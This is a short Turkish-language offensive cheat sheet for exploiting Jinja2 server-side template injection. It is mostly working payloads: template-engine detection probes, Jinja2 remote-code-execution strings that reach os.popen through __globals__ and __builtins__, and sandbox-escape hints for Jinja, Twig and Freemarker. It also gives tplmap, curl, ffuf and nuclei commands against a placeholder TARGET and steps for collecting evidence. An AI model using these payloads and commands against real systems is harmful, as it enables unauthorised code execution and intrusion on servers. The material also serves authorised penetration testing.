Jinja2 SSTI

web offensive

Jinja2 SSTI web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Jinja2 SSTI giriş noktalarını (param/header/cookie/upload/API) haritala.

2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

4. Zincirleme senaryo ve kanıt paketini tamamla.

Motor tespiti

{{7*7}}

${7*7}

#{7*7}

<%= 7*7 %>

{{7*'7'}}

tplmap -u 'https://TARGET/?name=FUZZ'

Jinja2 RCE

{{config.items()}}

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

curl -sk 'https://TARGET/?name={{7*7}}'

Sandbox kaçışı ipuçları

Jinja: lipsum / cycler / joiner globals → class dump

Twig: _self.env → setCache / loadTemplate

Freemarker: freemarker.template.utility.Execute

curl -sk --data 'tpl=PAYLOAD' https://TARGET/render

Operasyon notları

Jinja2 SSTI sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html